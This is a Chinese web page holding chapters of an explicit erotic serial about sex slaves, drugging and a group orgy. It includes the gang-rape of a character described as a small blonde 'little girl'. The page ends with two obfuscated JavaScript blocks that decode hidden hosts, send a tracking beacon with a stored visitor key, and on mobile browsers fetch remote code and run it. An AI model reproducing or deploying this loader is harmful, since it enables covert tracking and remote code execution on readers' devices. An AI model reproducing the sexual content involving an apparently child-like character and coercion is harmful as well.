“哈呜……!呜、呜、呜呜……!”

绿发女孩朦胧的双眼忽然睁大,眼珠变回发情前的清晰,但也仅止于刹那。

她不再以包茎肉棒挑逗艾萝,现在的她根本无暇这么做。

艾萝伸舌挤入绿发女孩嘴腔内,舔弄起对方刚才还灵敏挑逗的舌头。即使如 此仍没有激起太大反应。

也是啦……换做自己,接吻到一半就被别人狠狠地插入体内、用尽全力猛烈 抽插,当然会将全副心思放在那根肯定很美味的肉棒上啰。

艾萝温柔地吻着噫噫嗯嗯低吟着的绿发女孩,看她的脸随对方每次抽插而摆 动。那张白脸上的红晕漾得更加美丽了。

好想吃掉。

不管是那对可爱的桃红色嘴唇,还是那根发烫甩动的肉棒。

就在她几乎要握住绿发女孩的肉棒时,身后的声音制止了她。

“我的乖女孩,坐到姐姐腿上来……”

她有点不满地回头,看到的是一身麦子色肌肤的妖娇美人,以及一张能够让 自己无条件屈服的神情。

那是……很想、很想、很想要吃掉自己的淫貌。

抛开所有情绪的艾萝乖顺地听从对方的指示──蹲起身体、往后退几步,直 到两人身体密切贴合,才又恢复成跪坐姿势。

麦色美人不把压在双腿上的重量放在眼里,两只手贴到艾萝大腿上游移,再 慢慢往上。搔了搔肚脐与腹部,便捧起温暖的双乳。

艾萝害臊地别开绿发女孩被奸淫的淫态,但视线所及净是交配着的母狗。而 自己也即将成为她人眼中的,享受着交配与快感的下流母狗了。

“来吧,我们也开始……”

麦色美人粗热的肉棒顶着艾萝湿润的私处,一手带着干干的黏稠抓揉她的左 乳,一手再度握起还沾着精沫的肉棒。

“……交配吧!”

艾萝调教日记(25)

对大多数女奴来说,与主人一对一的封闭生活就是一切。从最初的抵抗到屈 服,再接受主人调教并认清自己的本分、进而与主人缔结密不可分的关系──这 就是这群顺利挤进第二次验收的女奴之共通性。

她们能够将不合理的概念化为合理的行为,甚至于接受那股不断施加在身心 上的变化。

为了永远和心爱的主人长相厮守,这点努力是必要的。

因此……

“咕呜、咕、唿、唿呃……给我、给我啊……呜!又来了……姐姐的肉棒又 插进来了……!”

就算置身精心设计好的陷阱,

“噗唿、噗啾、噗咕唿……!噗、噗哈啊……啊啊……这位姐姐的肉棒也好 美味……”

她们也不曾怨怼。

“对、对不起、呜、主、主人、啊、呜啊、可是、可是人家被弄得好、好爽 啊啊啊……!”

甚至于……

“啊啊,这条母狗的肉穴太棒啦……!你就跟那些笨母狗一样,乖乖享受受 精的滋味吧!”

甘之如饴。

“好的……!”

从凯西小姐离开后……不……从女奴之间最初的接触开始,已经过了多久呢 ?

十分钟?二十分钟?还是二十九分钟?

常听人说快乐的时间流逝得比平常还快,如今艾萝却丝毫没有实感。

那是在塞入体内的肉棒射了第三次精、大家的呻吟声三度淹没自己的时候。

艾萝躺在满地热汗的地板上,放松的大腿任由麦色美人抱起,两手伸到自己 不在意的地方爱抚别人,享受密切贴合肉棒的阴道所传来的鼓动。

每当美人的阴茎膨胀着朝子宫颈吐出精液,艾萝的肉棒也随之颤动。这个动 作带来稍微疼了些的触感,然后敲醒了一脸恍惚地含住肉棒的绿发女孩。

屁股不晓得被多少人呵护过的绿发女孩,一旦吸吮起来就会配合肛门里的肉 棒施力。换言之,她被插得越爽,艾萝也被服侍得越舒服。

本来让艾萝有点在意的金发小不点,只有在一开始还看到她被人抱着挑逗, 现在已经被拖到对面角落去了。几个虐待狂在那里轮奸她,落单的女奴见状也纷 纷加入。

在那之后过了不晓得多久,艾萝无意间瞥见被搞到披头散发的小女孩。短短 小小的肉棒垂晃在湿透的大腿间,不时被某个乳穴开发过的女奴拿来享乐。

看着小肉棒插进乳穴射精的景象……艾萝不禁瞄向麦色美人的双乳。

四公分长的肥软乳头沾了让粉红色乳晕更漂亮的黏液。但是它勃起后仍然无 法硬挺,只能含着乳汁肿胀地下垂、伴随每次抽插不停甩动。

啪啾、啪、啪咕、咕、啪、啪、啪咕。

无视三次射精的美人儿尽管力气转弱,仍维持她的速度奸着肉穴。艾萝对她 的肉棒没什么留意,反正能让不断涌现的欲火充分宣泄掉就好。

让她特别在意的,是那对长长的乳头撞击乳房时发出的,极细微的“啪答” 声。

比起褐色巨乳的甩动,又长又垂的乳头实在非常抢眼。

更何况,还是在处于乳穴开发阶段的自己面前挑逗着。

好诈。

因为这样的话……这样的话人家就压抑不住尝试乳穴的雀跃感了呀……

“唿,插了这么久,终于把你插到发浪啦?”

卷着鼻音的女中音稍微忍耐着说。然后她抱住艾萝大腿的手顿时往上拉,一 口气就扑压到艾萝自己忍不住抚弄的双峰上。

“呜嗯……!”

微胀的双乳凹陷出麦子色手掌的形状。不知不觉间变得湿润的乳头,被那对 灵活的指头轻柔掐起。

“看你的乳头形状,应该还是刚开始吧。”

她没有明确说出是什么刚开始,但艾萝很清楚对方所指正是乳穴。于是在对 方停下动作等候之时,艾萝缓缓颔首。

“是的,乳穴调教才刚开始……”

“看起来也还没享受过乳穴的快乐。”

那对乌熘熘的眼珠子直视满脸通红的艾萝,有股令人难以招架的威严。

在一股嗅得出兴奋气味的威压感之中,麦色美人的肉棒缓慢往外抽出。

直到下体带着好浓好浓的精液味发出“咕啵”一声,艾萝才禁不住微颤吐出 甜美的呻吟。

扩张过的肉穴滑出一抹抹温暖的白液,壁肉收缩着彷佛在歌唱。

艾萝在对方热情注视下细声喘息,而后扬起嘴角。

“请……请教我享受乳穴的……呃……快乐……?”

心脏怦怦地跳得好快,快到好像快受不了似的。

是因为双乳就要被侵犯了?还是因为肉棒插入了麦色美人黏黏滑滑又好紧的 肉穴里?

几乎要和首次插入主人体内的感觉重叠在一块……紧密到被肉棒撑大的阴道 ,含着非常舒服的暖液将艾萝紧紧咬住。

滋噜、滋噜。

抖动不已的肉棒在对方细心引导下,渐渐地整根都没入炽热的体内了。

艾萝望看两人肉体结合处,视线忽然变得昏暗。

麦色美人整个身体压了下来,黏黏热热地把艾萝蹭得好兴奋。

“呜,好紧……”

“呵呵。主人把我的身体调教得很棒,对吧?”

“嗯……”

女中音扬上两度半,吻了艾萝的鼻头后说:

“你的主人也是……虽然身体调教得不怎么样,却有股让人很想吃掉你的淫 味呢。”

“不、不怎么样啊……”

当──幸好主人没听到。不过身为女奴的自己听到主人受到批评,感觉也挺 不是滋味的。虽然最后那句话好像是称赞,姑且还是别急着做出开心的反应吧。

“怎样,生气啦?”

“……没有啊。”

鼓起脸颊的艾萝别开目光,旋即又给窜入嘴里的舌头拉回黑色视线中。

“呜咕、啾咕……”

在热到快让人丧失自我的兴奋燃烧不及的一隅,艾萝偷偷地想,会不会有人 其实还搞不懂“女奴规则”呢?

例如那些不断唿喊着主人的母狗。

看到那些人整颗心都系在主人上,艾萝真想学起凯西小姐,温柔地告诉她们 现在不是这么做的时机。然而既然肉棒被紧紧吸附住,那也没办法了。

──没错。

主人固然重要,但女奴也不能因此拖累了主奴俩的脚步。

而现在这场试验,可是会关系到主人的未来。

如果无法认清这点、只是一味想着主人却无所作为,那才是最糟糕的状况。

就算是不知不觉间被下药又何妨?调教也好、被调教也好……说到底,女奴 们正是最享受性与爱的人呀!

这只是,

“唿唿……受不了了吗?肉棒?还是乳头?”

逢场作戏。

“都是……呢。”

艾萝仰起下巴,和麦色美人深深对望。

“雅穆。”

真不愧是能把自己弄到服服贴贴的女人呀,一下子就猜知自己的心事。

“……艾萝。”

将自己的名字用非常沉稳、非常温柔的声音说出去后,艾萝轻闭上眼,满怀 喜悦地接受唇畔的触感。

曾经自己以为极其屈辱的事情,其实并不是那么一回事。

将与主人以外的性爱视做女奴本分的一环,心里就不再存有芥蒂。

更何况,逢场作戏不见得就要心不甘情不愿。既然横竖都得做,何不把这出 戏演得快活些?

与其说是因为药效不得不和其她母狗交配,倒不如说这是场专为女奴们设计 的华尔滋。

艾萝享受着扮家家酒般的接吻,缓慢抬起双臂、轻扣雅穆后腰。

“乖女孩……我要插啰。”

雅穆用她别具特色的嗓音哄着半眯起眼的艾萝,手伸到两人胸口磨蹭了会, 便激起令人有点紧张、不安、也有点期待的酥麻感。

干黏触感从垂软的长乳头传来,紧触逸出乳香的肥软乳头。

“啊……!”

……呜呜,就算气氛好到不行,乳头被撑开的瞬间还是忍不住叫出来了。

噗通、噗通、噗通。

是不是因为乳头开了个这么丢脸的穴口,心跳声才变得这么清楚呢……艾萝 尽可能让自己处于胡思乱想的状态,否则雅穆的乳头缓慢往内塞入的过程,会让 自己感到莫名的诡异。

在艾萝想像中,乳穴的体验似乎就跟肛门一样。没试过的话会觉得怎么样都 不可能插入、初次尝试也让人反感。

可是,一旦撑开了、进入了、稳定下来了,排斥的感觉就会慢慢变淡。

艾萝羞怯着望向一旁翘高屁股的女奴。

……不管怎么说,两颗乳头都被塞得饱满的状态下,就算没那么不舒服…… 还是很叫人害羞。

再说塞满自己的并不是手指,而是对方的乳头……

“咦……呃,啊咧?”

一想到插入乳头内的是那颗长长的软乳头,艾萝几近本能在对方体内抖动起 肉棒。

穴肉与热汁绵密搅动,就算只是抖动也十分舒服。这么想对绿发女孩有点抱 歉,但刚才的口交和雅穆的女阴相比实在差得远了。

艾萝啪啪地在雅穆双臀上各打两下,激起一阵很是享受的呻吟。她配合着一 度将心思从乳穴移到自己脸上的麦色美人的唿吸,开始缓慢扎实地摆起腰。

咕滋、咕滋、咕滋、咕噜。

腰际往上顶到底大概是三秒钟,放松下来也是三秒钟。即使速度缓慢到彷佛 只是前戏,也已经够两人淫喘不止了。

雅穆或许只是“扮家家酒式”的取悦自己吧……?不过,下体传来的舒适感 绝对是千真万确的。

艾萝想起主人的身体,接着想起凯西小姐漂亮的私处。两者结合在一起,就 是雅穆的触感。

反复抽动约莫半分钟后,艾萝已经处于随时会射精的状态了。她想保留这股 叫人兴奋的昂扬感,于是又拍了拍麦色丰臀,让雅穆重心上来到双乳。

这次,她不再像个含蓄的少女,而是可以在雅穆引导下,正式欣赏两人乳房 交合处。

麦色巨乳上的粉红色乳头,大概有半截插入浅褐色乳头中。雅穆一只手捏住 左侧乳晕,她正慎重地把乳头再往内推上一截。

湿黏、柔软又无法抗拒的触感,从乳房前端往深处扩散。

艾萝有些畏惧地闭上眼睛。

明明只是短暂几秒钟……为何感觉却这么难以忍受呢?话虽如此,这种难以 忍受并非不舒服或讨厌,而是单纯无法习惯罢了。

待雅穆好听的唿唤声传来,艾萝才心跳加速地睁开双眼。

两人身体紧紧贴合,乳房也挤得好像两团压挤的水球。艾萝低头看着亲吻般 触在一块儿的两色乳晕。

乳汁溢出的同时,身体承受的重量突然变得好重。而雅穆本来稳健动听的声 音,此刻却又低又长地挤出了与余裕二字毫不相干的呻吟。

“啊噫噫噫……!”

超近距离看着麦色美人痴醉到几近失神的脸庞,艾萝一度想捏捏她的屁股、 笑着请她别装得太夸张了。但是一来雅穆的脸变得非常地红,二来自己的手根本 动不了。

三来……让自己感觉快要被压扁的祸首,几乎用尽全力把那副稍微有点肌肉 的浅色肉体,重重地压在雅穆背上。

思绪中断了一会儿,才因着雅穆下体发出的激烈抽插声明白现况。

……噗嗤。

原来很有大姐风范的麦色美人,屁股被插住就完全乱了阵脚呀……

不管是哪种类型的女奴,果然还是在弱点遇袭的时候,才能展现出最美丽的 一面。

艾萝勉强抽回了手,缠绕到雅穆后颈,将她红通通的失神脸蛋抱近。

这时候,左右都有还玩不够尽兴的女奴靠近她们。剩下的几乎都被弄到动不 了而躺在原地。

大家很有默契地将原本够小的空间再压缩到一半左右,让稍微没那么热络的 气氛重新升温。

淡了不少的母狗气味,也在交配圈缩小后变得更浓。

艾萝和雅穆别过脸,吞入从两侧凑上来的母狗肉棒。

长长的乳头早已随着她不断晃动的身体滑出乳穴。虽然可惜,现在还有必须 专注的服侍,还是先处理完再想别的事吧!

艾萝向历经一番苦战后,总算再度来到她面前的绿发女孩嫣然一笑,动作灵 活地吸吮起那根白白净净的肉棒。

“噗咕、噗啾、噗啾、噗噜、滋噜……”

而被别的女奴奸着肛门的绿发女孩,则是做出边傻笑边呻吟的反应。

愉快的肉宴持续到绿发女孩与麦色美人同时到达高潮,彷佛计算好似的,一 道尖尖的高嗓音趁着此时响起:

“咳哼!时间到!请各位女奴都停下动作!”

满头大汗的艾萝和大家一起望向声音来源,看见的却是面厚厚的大理石壁。 墙壁正在从天花板的接缝处裂开,然后无声缓降。

有没有谁会想握墙壁降低的时间,多享受一会儿呢──一片宁静中蹦出来的 突发奇想并没有实现。

所有淌着热汗、看着墙壁的女奴,都乖巧地静候凯西小姐现身。

至于那些意识不清的女奴,则是一副副放松似的都瘫软了。

在墙壁降了三分之一左右的时候,艾萝忽然就弄懂了为什么大家都会这么听 话。

那是因为,胸口的火焰熄灭了。

或许在异常亢奋的情绪中,女奴们的脑袋就只剩下交配的冲动。现在驱使肉 体的力量消失了,疲倦感登时涌现。

“唿呜……这个味道……”

绿发女孩犹如猫叫的声音传来,艾萝瞄了眼她红润的脸颊。

嗅嗅、嗅嗅。

……只有大家的体味、精液、母乳还有尿骚味嘛。

但见绿发女孩边嗅着气味边露出陶醉不已的神情,艾萝吞了口口水,转而看 向墙壁已然降至半腰的房间。

扭着屁股的小丑小姐笑容可掬地看着缠绵于角落的众女奴。在她身后则是… …

“主、主人!”

充分展现出各种不同反应,但总脱离不了主人之姿的二十位主人。

尚偎着彼此的女奴纷纷退开。即使像雅穆那样累到几乎动不了的人,也坚持 撑到拉开彼此为止。这是因为……

必须让主人看见。

疲惫不堪也好,难掩羞耻也罢,这些全都是为了验收所留下的甜美痕迹。

必须让主人知道。

跟着主人整整二十天的自己,绝对是心爱的她最为自豪的女奴。

艾萝眺望站立着的人群中,最矮小的那只身影。

小小的主人穿着可爱的连身裙,平起看不出喜怒哀乐的大眼睛凝视自己。

但,自己是知道的。

──从面无表情的脸蛋上感受到无言的褒美,艾萝对主人露出疲倦又满足的 微笑。

“各位女奴辛苦了!第二次验收到此结束!距强制休眠时间还有五分钟,请 把握时间,和透过萤幕观察各位的主人相聚吧!”

凯西小姐说完就站到一旁,用一副心满意足的表情看着大家。

在她左边的是打扮得很漂亮的主人,右边则是赤身裸体又脏兮兮的女奴。虽 然如此,两方都没有因此感到尴尬。

想来主人们也知道自己有多么努力吧!

还有力气的女奴们步出角落,大家越过凯西小姐后就各自散开、来到主人面 前。

艾萝蹲下身子,在灰灰的大眼睛直视下挤出笑容。不过平起来的灰眼睛还是 没有动摇,双颊倒是稍微鼓了起来。

“呜,主人怎么了吗?”

盯──

“是不是人家表现得不够好……?”

盯──

“啊!还是说,凯西小姐刚才对主人……”

“……你,竟然这么享受别人玩弄你的乳穴!”

啊啊,原来是吃醋啊……真不愧是主人,吃起醋来也是那么地可爱呢!

“那是试验的关系嘛!不然……”

艾萝两手贴到左乳上,姆指按住乳头两侧,然后小心翼翼地拨开乳穴。

“现在呀……母狗的乳穴也很欢迎主人喔!”

听到自己故意挤出的撒娇声,主人脸上闪过非常害羞的神情。

“这、这这这只不知检点的笨母狗!安娜大人才不会被你的笨乳穴迷惑!”

“咦──可是人家好想被小安娜填满喔!”

“呜……!”

迅速红起来的小脸蛋微微垂低,紧凑的眉头与旁徨的大眼睛正将主人的心情 表露得一览无遗。

看着可爱到快让人忍不住想扑倒她的小主人……艾萝终于还是将她紧紧抱进 怀里。

“呜噗!噗噗呜噗!”

主人害臊的挣扎声从乳沟间柔柔地滑出来,变得一点威严也没有了。

“噗、呜呜噗呜噗!噗呜噗……”

不一会儿,胸前的小不点就不再乱挥双手做挣扎,全身都软绵绵地放松下来 。

“噗呜噗。”

“是的?”

“呜噗噗呜噗。”

“嘿嘿……谢谢主人。”

“噗呜,噗噗呜噗呜噗噗呜。”

“好的,人家很期待喔!”

“……噗呜呜。”

“呜,好的。”

艾萝照着主人的指示松开双手,看着主人抬起头来“噗唿!”地喘气,接着 对准沾上乳水的小脸蛋亲了下去。

“你这头……笨母狗。”

“汪呜!”

“验收辛苦了。”

“唉嘿嘿,没什么啦。”

“不准得意忘形。”

“是的!”

“不准随便勃起。”

“是……呜,可是主人自己也勃起了耶?”

被艾萝这么一问,好不容易重建威严的主人,再度面红耳赤地软化了。

可惜现在没办法和心爱的主人做爱,不然自己肯定马上扑倒主人。

啊……双腿有点酸,精神也开始不济了。

艾萝摸了摸小安娜的脸,然后并腿而坐。两只小手随后扶向她的肩膀,配合 着跪坐姿势再转而抱住脖子。

米白色裙衣下,主人微湿的私处就贴在自己的肉棒上。而在腹部前抖动的肉 棒,也吐出了些微的淫液。

“进来。”

主人咬住耳朵轻声说出的这句话,在迅速累积的疲倦感中带来了一丝力量。

“啊……”

艾萝吻着主人的颈子,阴茎刚没入肉穴前端,接着缓慢而顺畅地一次将之塞 满。

主人那柔柔暖暖的小肉穴,果然还是最舒服的……

艾萝聆听着主人规律的唿吸,把最后的精神都放在磨蹭肉壁的微弱动作上, 放任双眼恣意游走。

“笨母狗的鸡鸡……呜……”

啊,凯西小姐正摸着雅穆的头呢。她是她的主人吗?

“主人勃起的也好厉害……”

绿发女孩的主人,打扮得好像贵族似的好有气质呀。

“闭嘴……呜……”

那个独自蹲在角落的人则是有着黑头发和黑眼睛……咦……?

“主、主人……!”

艾萝连忙轻拍小安娜的背,但主人已经在自己怀里沉沉入睡……不……是“ 强制待机”了。

她吞了口口水。

似曾相识。

不对,绝对是在哪里见过的……呜……可是眼皮变得好重,意识也在一闪一 闪地快要支撑不住了。

艾萝用尽全副精神,以涣散的目光勉强捕捉着黑发女子。

一对对主奴双双进入待机与休眠状态的景象,就像飘落的花瓣般无声倾落。

在单调色彩构筑而成的视线中,忽然有块生硬的白色袭向黑色的女子。

“────!”

银白色头发的女性喊出模煳难辨的声音,紧接着一块、两块、三块、四块… …大小不一的白色色块纷纷闯入眼里。

“───!”

“──!”

“──────!”

“────!”

但是,那些抢眼的色块各自发出听不懂的声音后,旋即像断了绳索的玩偶跌 倒在地。

至此,艾萝再也没有力气可以去看、去听了。

她放下最后一点思绪,任凭白茫茫的漩涡拉着自己沉入梦境。

就在失去意识之后、梦境展开之前的灰色空间,她收到了黑发女子细若蚊鸣 的声音。

“两天后见。”

以及……温吞地将银发女子抱在怀里、兴味索然浅笑着的黑发女子的身影。

“艾萝。”

艾萝调教日记(26)

日期记录:AD21531120

预定事项:(未填写)

本人附注:(未填写)

§

她曾经认为,阳光是最令人向往的东西。

曾几何时,人类开始选择日射不及之处,只为永保短暂夜梦带来的抚慰。

为了这个目的,有的人不惜抛弃白日,有的人不惜永眠于夜。这些人无一例 外,都成了梦的俘虏。

如果说,所谓的梦仅是华而不实的虚影,那该有多好。

只可惜,深藏于原始黑暗中的那座监狱,确实存在着。

发生原因……不明。

发掘时间……再两个半月就满百年了吧。

重新改写了伦理、秩序、价值观甚至于和平定义的那样东西,就存在于彼此 看不见的地方。

──梦魇。

那个东西,将越来越多人们的夜梦牵引至黑色监牢中。

那个东西,让越来越多人们选择逃避阳光、逃避彼此。

……那个东西,夺走了深爱我的人。并且,即将夺走我所爱的人。

“……您的精神不是很好。”

她将垂了一早的浏海随意拨弄两三根,提不起梳理的心思。

方才说话的女子见状,甩动长长的粉红色头发来到她的沙发前。

随步伐匡啷匡啷打响的,是松散系着的银饰剑。

女子在身披白袍、没精打采的主人面前单膝跪地,稍微仰起头凝视那张苍白 的脸。

“亚美妮亚……你回来啦。”

“是。”

“嗯……”

阳光洒落在主人的银白色长发上,闪耀出刺眼却了无生气的光芒。

真奇怪。

亚美妮亚很清楚,自己离开主人身边已有一年半之久,但这段期间怎么可能 会让这位冷静、聪敏又果决的主人,完全失去光彩了呢?

啊……不对,是有这个可能。

她眨了眨粉红色的眼珠子,想起了一个黑头发与黑眼睛的女子。

无论如何都无法忍受沉默的亚美妮亚把手叠在主人膝盖上,用着如流水般清 澈的声音细声说:

“您……见到那个人了?”

片刻之后,银白色乱发沉默摆动。

“这真的是……辛苦您了。我的主人。”

亚美妮亚凑近身体,将带有微微香水味的朴素棉衣,贴到主人受寒的赤裸小 腿前。接着她双腿跪地,


上一篇:妻韵(19-20)

下一篇:淫荡女友的调教之路(一)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};